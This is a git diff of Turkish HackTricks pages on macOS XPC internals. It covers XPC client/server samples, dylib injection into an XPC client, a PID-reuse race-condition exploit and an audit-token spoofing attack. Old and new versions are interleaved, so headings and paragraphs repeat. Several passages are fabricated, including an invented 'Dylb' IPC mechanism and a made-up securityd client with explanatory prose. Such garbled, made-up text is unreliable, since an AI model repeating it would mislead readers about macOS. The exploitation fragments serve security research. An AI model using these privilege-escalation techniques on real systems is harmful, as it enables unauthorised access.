`xpcproxy` aracı `0x22` ön ekini kullanır, örneğin: `0x2200001c: xpcproxy:will_do_preexec`.
## XPC Olay Mesajları
Uygulamalar, böyle olaylar gerçekleştiğinde **talep üzerine başlatılmalarını** sağlayan farklı olay **mesajlarına** **abone** olabilirler. Bu hizmetlerin **kurulumu**, **önceki dosyalarla aynı dizinlerde** bulunan **launchd plist dosyalarında** yapılır ve ekstra bir **`LaunchEvent`** anahtarı içerir.
### XPC Bağlantı Süreci Kontrolü
Bir süreç, bir XPC bağlantısı aracılığıyla bir yöntemi çağırmaya çalıştığında, **XPC hizmeti o sürecin bağlanmasına izin verilip verilmediğini kontrol etmelidir**. Bunu kontrol etmenin yaygın yolları ve yaygın tuzaklar şunlardır:
{% content-ref url="macos-xpc-connecting-process-check/" %}
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
{% endcontent-ref %}
### XPC Yetkilendirme
## XPC Yetkilendirmesi
Apple, uygulamaların **bazı hakları yapılandırmasına ve nasıl elde edileceğine** izin verir, böylece çağrılan işlem bu haklara sahipse XPC hizmetinden bir yöntemi **çağırmasına izin verilir**:
Apple, uygulamaların **bazı hakları yapılandırmalarına ve bunları nasıl alacaklarına** izin verir, böylece çağıran süreç bu haklara sahipse, XPC hizmetinden bir yöntemi **çağırmasına izin verilir**:
{% content-ref url="macos-xpc-authorization.md" %}
[macos-xpc-authorization.md](macos-xpc-authorization.md)
{% endcontent-ref %}
### XPC Sniffer
XPC mesajlarını dinlemek için [**xpcspy**](https://github.com/hot3eed/xpcspy) kullanabilirsiniz, bu da **Frida** kullanır.
## XPC Sniffer
XPC mesajlarını dinlemek için [**xpcspy**](https://github.com/hot3eed/xpcspy) kullanabilirsiniz, bu araç **Frida** kullanır.
```bash
# Install
pip3 install xpcspy
@ -114,11 +161,12 @@ xpcspy -U -r -W <bundle-id>
## Using filters (i: for input, o: for output)
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
```
Başka bir kullanılabilir araç [**XPoCe2**](https://newosxbook.com/tools/XPoCe2.html).
### XPC İletişimi C Kodu Örneği
## XPC İletişim C Kodu Örneği
{% tabs %}
{% tab title="undefined" %}
{% tab title="xpc_server.c" %}
```c
// gcc xpc_server.c -o xpc_server
@ -174,7 +222,7 @@ return 0;
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="xpc_client.c" %}
```c
// gcc xpc_client.c -o xpc_client
@ -206,12 +254,6 @@ return 0;
{% endtab %}
{% tab title="xyz.hacktricks.service.plist" %}
xyz.hacktricks.service.plist dosyası, macOS'ta XPC hizmetlerini başlatmak için kullanılan bir örnek bir property list dosyasıdır. Bu dosya, bir XPC hizmetinin nasıl başlatılacağını ve hangi işlevleri yerine getireceğini tanımlar.
Bu plist dosyasında, `Label` anahtarı, hizmetin benzersiz bir kimlik etiketi olarak kullanılacak bir dizedir. `MachServices` anahtarı, hizmetin hangi Mach servislerine erişebileceğini belirtir. `ProgramArguments` anahtarı, hizmetin çalıştırılacak uygulamanın yolu ve argümanlarını içerir.
Bu plist dosyasını kullanarak, bir XPC hizmetini başlatabilir ve hizmetin sağladığı işlevleri kullanabilirsiniz. Bu, macOS'ta inter-process iletişimi sağlamak ve hizmetler arasında veri paylaşımını kolaylaştırmak için yaygın olarak kullanılan bir yöntemdir.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -234,7 +276,6 @@ Bu plist dosyasını kullanarak, bir XPC hizmetini başlatabilir ve hizmetin sa
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc xpc_server.c -o xpc_server
@ -254,11 +295,10 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
```
### XPC İletişimi Objective-C Kod Örneği
## XPC İletişimi Objective-C Kod Örneği
{% tabs %}
{% tab title="undefined" %}
{% tab title="oc_xpc_server.m" %}
```objectivec
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
#include <Foundation/Foundation.h>
@ -311,40 +351,6 @@ sleep(10); // Fake something is done and then it ends
{% endtab %}
{% tab title="oc_xpc_client.m" %}
oc\_xpc\_client.m dosyası
```objective-c
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_DICTIONARY) {
const char *description = xpc_dictionary_get_string(event, "description");
if (description) {
printf("Received event: %s\n", description);
}
}
});
xpc_connection_resume(connection);
dispatch_main();
}
return 0;
}
```
Bu örnek, Objective-C kullanarak macOS'ta XPC (Inter-Process Communication) istemcisi oluşturmayı göstermektedir. XPC, farklı süreçler arasında iletişim kurmak için kullanılan bir mekanizmadır. Bu örnekte, "com.apple.securityd" adlı bir Mach servisine bağlanan bir XPC bağlantısı oluşturulur. Bağlantıya bir olay işleyici atanır ve olaylar alındığında ekrana yazdırılır.
Bu örneği derlemek ve çalıştırmak için aşağıdaki adımları izleyebilirsiniz:
1. Bir Objective-C projesi oluşturun ve `oc_xpc_client.m` dosyasını projenize ekleyin.
2. Projenizi derleyin ve çalıştırın.
Bu örnek, XPC istemcisi oluşturmanın temel bir örneğini sunmaktadır. Daha fazla özellik eklemek veya farklı bir XPC servisiyle iletişim kurmak için kodu özelleştirebilirsiniz.
```objectivec
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include <Foundation/Foundation.h>
@ -367,15 +373,9 @@ NSLog(@"Received response: %@", response);
return 0;
}
```
{% endtab %}
Bu dosya, macOS'ta XPC hizmetlerini başlatmak için kullanılan bir örnek bir önyükleme ajanıdır. XPC, farklı süreçler arasında iletişim kurmak için kullanılan bir IPC (Inter-Process Communication) mekanizmasıdır. Bu plist dosyası, bir XPC hizmetini başlatmak için gerekli olan yapılandırmayı içerir.
Bu dosyayı kullanarak, bir XPC hizmetini başlatmak için gerekli olan parametreleri belirleyebilirsiniz. Örneğin, hedeflenen hizmetin kimlik bilgilerini, çalıştırılacak komutları ve diğer yapılandırma ayarlarını belirleyebilirsiniz.
Bu plist dosyasını kullanarak, hedeflenen bir XPC hizmetini kötüye kullanabilir ve ayrıcalık yükseltme saldırıları gerçekleştirebilirsiniz. Ancak, bu tür saldırılar yasa dışıdır ve yalnızca yasal izinlerle gerçekleştirilmelidir.
Bu dosyanın kullanımıyla ilgili daha fazla bilgi için, macOS XPC hizmetlerini kötüye kullanma konusundaki ilgili bölüme bakabilirsiniz.
{% tab title="xyz.hacktricks.svcoc.plist" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -398,39 +398,26 @@ Bu dosyanın kullanımıyla ilgili daha fazla bilgi için, macOS XPC hizmetlerin
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
\`\`\`bash # Compile the server & client gcc -framework Foundation oc\_xpc\_server.m -o oc\_xpc\_server gcc -framework Foundation oc\_xpc\_client.m -o oc\_xpc\_client
# Save server on it's location
cp oc_xpc_server /tmp
## Save server on it's location
# Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
cp oc\_xpc\_server /tmp
# Call client
./oc_xpc_client
## Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
## Call client
./oc\_xpc\_client
## Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc\_xpc\_server
````
# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
```
## Dylb kodu içindeki İstemci
Bu bölümde, Dylb kodu içindeki istemci hakkında bilgi verilecektir.
Dylb, macOS'ta kullanılan bir IPC (İşlem Arası İletişim) mekanizmasıdır. Bu mekanizma, farklı süreçler arasında iletişim kurmak için kullanılır. Dylb kodu, bir istemci ve bir sunucu olmak üzere iki bileşenden oluşur.
İstemci, Dylb sunucusuna bağlanarak talepler gönderir ve yanıtları alır. İstemci, sunucuyla iletişim kurmak için belirli bir protokolü takip eder. Bu protokol, istemcinin sunucuya hangi talepleri gönderebileceğini ve nasıl yanıtlar alabileceğini belirler.
Dylb kodu içindeki istemci, genellikle bir uygulama tarafından kullanılır. Uygulama, Dylb istemcisini kullanarak başka bir süreçle iletişim kurabilir ve veri alışverişi yapabilir. Bu, uygulamanın farklı süreçler arasında bilgi paylaşmasını sağlar.
Dylb kodu içindeki istemci, güvenlik açıklarına neden olabilecek potansiyel bir noktadır. İstismarcılar, istemci tarafında hatalar bulup bunları kullanarak ayrıcalık yükseltme saldırıları gerçekleştirebilirler. Bu nedenle, Dylb kodu içindeki istemciyi güvenli bir şekilde uygulamak önemlidir.
Bu bölümde, Dylb kodu içindeki istemci hakkında daha fazla bilgi ve güvenlik önlemleri bulabilirsiniz.
```objectivec
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
// gcc injection example:
@ -463,18 +450,38 @@ NSLog(@"Done!");
return;
}
````
```
## Remote XPC
`RemoteXPC.framework` (from `libxpc`) tarafından sağlanan bu işlevsellik, farklı ana bilgisayarlar aracılığıyla XPC ile iletişim kurmayı sağlar.\
Uzaktan XPC'yi destekleyen hizmetler, plist'lerinde `UsesRemoteXPC` anahtarına sahip olacaktır; bu, `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist` dosyasında olduğu gibi. Ancak, hizmet `launchd` ile kaydedilmiş olsa da, işlevselliği sağlayan `UserEventAgent`'dir; bu, `com.apple.remoted.plugin` ve `com.apple.remoteservicediscovery.events.plugin` eklentilerini içerir.
Ayrıca, `RemoteServiceDiscovery.framework`, `com.apple.remoted.plugin`'den bilgi almayı sağlar ve `get_device`, `get_unique_device`, `connect` gibi işlevleri açığa çıkarır...
Bağlantı kullanıldığında ve hizmetin soket `fd`'si toplandığında, `remote_xpc_connection_*` sınıfı kullanılabilir.
Uzaktan hizmetler hakkında bilgi almak için `/usr/libexec/remotectl` cli aracını kullanarak şu parametreler ile bilgi almak mümkündür:
```bash
/usr/libexec/remotectl list # Get bridge devices
/usr/libexec/remotectl show ...# Get device properties and services
/usr/libexec/remotectl dumpstate # Like dump withuot indicateing a servie
/usr/libexec/remotectl [netcat|relay] ... # Expose a service in a port
...
```
BridgeOS ile ana bilgisayar arasındaki iletişim, özel bir IPv6 arayüzü üzerinden gerçekleşir. `MultiverseSupport.framework`, iletişim için kullanılacak `fd`'ye sahip soketlerin kurulmasına olanak tanır.\
Bu iletişimleri `netstat`, `nettop` veya açık kaynak seçeneği `netbottom` kullanarak bulmak mümkündür.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,39 +1,40 @@
# macOS PID Yeniden Kullanımı
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## PID Yeniden Kullanımı
Bir macOS **XPC servisi**, **PID**'ye ve **denetim belirteci**ne dayalı olarak çağrılan işlemi kontrol ettiğinde, PID yeniden kullanım saldırısına açık hale gelir. Bu saldırı, bir **zafiyet** üzerine kuruludur, burada bir **sömürücü** işlevi **XPC** servisine **mesajlar gönderecek** ve hemen ardından **`posix_spawn(NULL, hedef_binary, NULL, &attr, hedef_argv, çevre)`**'yi **izin verilen** ikili ile çalıştıracaktır.
Bir macOS **XPC servisi**, çağrılan süreci **PID**'ye göre kontrol ediyorsa ve **denetim belirteci** yerine, PID yeniden kullanma saldırısına karşı savunmasızdır. Bu saldırı, bir **yarış durumu** temelinde olup, bir **sömürü** **XPC** servisine **mesajlar gönderecek** ve hemen ardından **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** ile **izin verilen** ikiliyi çalıştıracaktır.
Bu işlev, **izin verilen ikiliyi PID'ye sahip yapacak**, ancak **kötü niyetli XPC mesajı** gönderilmiş olacaktır. Bu nedenle, eğer **XPC** servisi göndereni **doğrulamak** için **PID**'yi kullanıyorsa ve bunu **`posix_spawn`**'ın **yürütülmesinden SONRA** kontrol ediyorsa, bunun yetkilendirilmiş bir işlem tarafından geldiğini düşünecektir.
Bu fonksiyon, **izin verilen ikilinin PID'sini almasını** sağlayacak, ancak **kötü niyetli XPC mesajı** daha önce gönderilmiş olacaktır. Dolayısıyla, eğer **XPC** servisi **PID**'yi **göndereni kimlik doğrulamak için kullanıyorsa** ve **`posix_spawn`**'dan sonra kontrol ediyorsa, bunun **yetkili** bir süreçten geldiğini düşünecektir.
### Sömürü Örneği
### Sömürü örneği
Eğer **`shouldAcceptNewConnection`** işlevini veya onun tarafından çağrılan bir işlevi **`auditToken`**'ı çağırmadan **`processIdentifier`**'ı çağırıyorsa, büyük olasılıkla işlem PID'sini doğruluyor demektir.\
Örneğin, bu referanstan alınan bu görüntüde olduğu gibi:
Eğer **`shouldAcceptNewConnection`** fonksiyonunu veya onun tarafından çağrılan ve **`processIdentifier`**'ı çağıran bir fonksiyonu bulursanız ve **`auditToken`**'ı çağırmıyorsa, bu büyük olasılıkla **sürecin PID'sini** doğruladığı anlamına gelir.\
Örneğin, bu resimde (referanstan alınmıştır):
<figure><img src="../../../../../../.gitbook/assets/image (306).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
Bu örnek saldırıyı kontrol etmek için (yine, referanstan alınmıştır):
Sömürü örneğini kontrol edin (yine, referanstan alınmıştır) ve sömürünün 2 parçasını görün:
* **Birçok çatal oluşturan**
* **Her çatal**, mesajı gönderirken **`posix_spawn`**'ı gönderdikten hemen sonra çalıştırır.
* Bir tanesi **birkaç fork oluşturur**
* **Her fork**, mesajı gönderdikten hemen sonra **`posix_spawn`**'ı çalıştırırken **yükü** XPC servisine **gönderecektir**.
{% hint style="danger" %}
Sömürünün çalışması için ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** veya sömürü içine koymak önemlidir:
Sömürünün çalışması için ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** ayarını yapmak veya sömürü içine koymak önemlidir:
```objectivec
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
@ -43,7 +44,7 @@ asm(".section __DATA,__objc_fork_ok\n"
{% tabs %}
{% tab title="NSTasks" %}
**`NSTasks`** kullanarak ve argüman kullanarak çocukları başlatmak için RC'yi sömürme{% endtab %}
İlk seçenek **`NSTasks`** kullanarak ve çocukları başlatmak için argüman vererek RC'yi istismar etmektir.
```objectivec
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl
@ -152,7 +153,7 @@ return 0;
{% endtab %}
{% tab title="fork" %}
Bu örnek, **PID yarışma koşulunu sömürecek çocukları başlatmak için ham bir **`fork`** kullanır ve ardından **Başka bir yarışma koşulunu bir Sert bağlantı aracılığıyla sömürür:** kullanır:
Bu örnek, **PID yarış koşulunu istismar edecek çocukları başlatmak için ham **`fork`** kullanır** ve ardından **bir Hard link aracılığıyla başka bir yarış koşulunu istismar eder:**
```objectivec
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
@ -297,16 +298,17 @@ return 0;
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
* [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,136 +1,152 @@
# macOS xpc\_connection\_get\_audit\_token Saldırısı
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>A'dan Z'ye AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek hacking ipuçlarını paylaşın.
</details>
{% endhint %}
**Daha fazla bilgi için orijinal yazıya bakın:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Bu bir özet:
**Daha fazla bilgi için orijinal gönderiyi kontrol edin:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Bu bir özet:
## Mach Mesajları Temel Bilgileri
## Mach Mesajları Temel Bilgiler
Mach Mesajlarının ne olduğunu bilmiyorsanız, bu sayfayı kontrol etmeye başlayın:
Mach Mesajlarının ne olduğunu bilmiyorsanız bu sayfayı kontrol etmeye başlayın:
{% content-ref url="../../" %}
[..](../../)
{% endcontent-ref %}
Şu anda ([buradan tanım](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Mach mesajları, mach çekirdeğine yerleştirilmiş **tek alıcı, çok gönderen iletişim** kanalı olan bir _mach portu_ üzerinden gönderilir. **Birden fazla işlem**, bir mach porta mesaj gönderebilir, ancak herhangi bir zamanda **yalnızca bir işlem** onu okuyabilir. Dosya tanımlayıcıları ve soketler gibi, mach portları çekirdek tarafından tahsis edilir ve yönetilir ve işlemler yalnızca bir tamsayı görür, bu tamsayıyı kullanarak hangi mach portlarının kullanılacağını çekirdeğe belirtebilirler.
Şu anda hatırlamanız gereken ([buradan tanım](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Mach mesajları, mach çekirdeğine entegre edilmiş **tek alıcı, çoklu gönderici iletişim** kanalı olan bir _mach portu_ üzerinden gönderilir. **Birden fazla işlem,** bir mach portuna mesaj gönderebilir, ancak herhangi bir noktada **yalnızca bir işlem ondan okuyabilir**. Dosya tanımlayıcıları ve soketler gibi, mach portları çekirdek tarafından tahsis edilir ve yönetilir ve işlemler yalnızca hangi mach portlarını kullanmak istediklerini belirtmek için kullanabilecekleri bir tamsayı görürler.
## XPC Bağlantısı
Bir XPC bağlantısının nasıl kurulduğunu bilmiyorsanız kontrol edin:
XPC bağlantısının nasıl kurulduğunu bilmiyorsanız kontrol edin:
{% content-ref url="../" %}
[..](../)
{% endcontent-ref %}
## Zafiyet Özeti
## ıklar Özeti
Bilmeniz gereken ilginç şey şudur ki **XPC'nin soyutlaması birbirine bağlı bir bağlantıdır**, ancak **çoklu göndericiye sahip olabilen bir teknoloji üzerine kuruludur, bu nedenle:**
Bilmeniz gereken ilginç bir şey, **XPC'nin soyutlamasının bire bir bağlantı** olmasıdır, ancak bu, **birden fazla göndericiye sahip olabilen bir teknoloji üzerine kuruludur, bu nedenle:**
* Mach portları tek alıcı, **çoklu gönderici**dir.
* Bir XPC bağlantısının denetim belgesi, **en son alınan mesajdan kopyalanır**.
* Bir XPC bağlantısının **denetim belgesini elde etmek**, birçok **güvenlik denetimleri** için kritiktir.
* Mach portları tek alıcı, **çoklu gönderici**.
* Bir XPC bağlantısının denetim belirteci, **en son alınan mesajdan kopyalanan** denetim belirtecidir.
* Bir XPC bağlantısının **denetim belirtecini** elde etmek, birçok **güvenlik kontrolü** için kritik öneme sahiptir.
Önceki durum umut verici görünse de, bu duruma neden olmayacak bazı senaryolar vardır ([buradan](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
Önceki durum umut verici görünse de, bunun sorun yaratmayacağı bazı senaryolar vardır ([buradan](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
* Denetim belgeleri genellikle bir bağlantıyı kabul edip etmeyeceğine karar vermek için bir yetkilendirme kontrolü için kullanılır. Bu, bir hizmet bağlantısına bir mesaj kullanılarak gerçekleştiğinden, henüz **bağlantı kurulmamıştır**. Bu bağlantı noktasındaki daha fazla mesajlar yalnızca ek bağlantı istekleri olarak ele alınır. Bu nedenle, **bağlantıyı kabul etmeden önce yapılan kontrollerde zafiyet yoktur** (bu ayrıca `-listener:shouldAcceptNewConnection:` içinde denetim belgesinin güvenli olduğu anlamına gelir). Bu nedenle **belirli eylemleri doğrulayan XPC bağlantıları arıyoruz**.
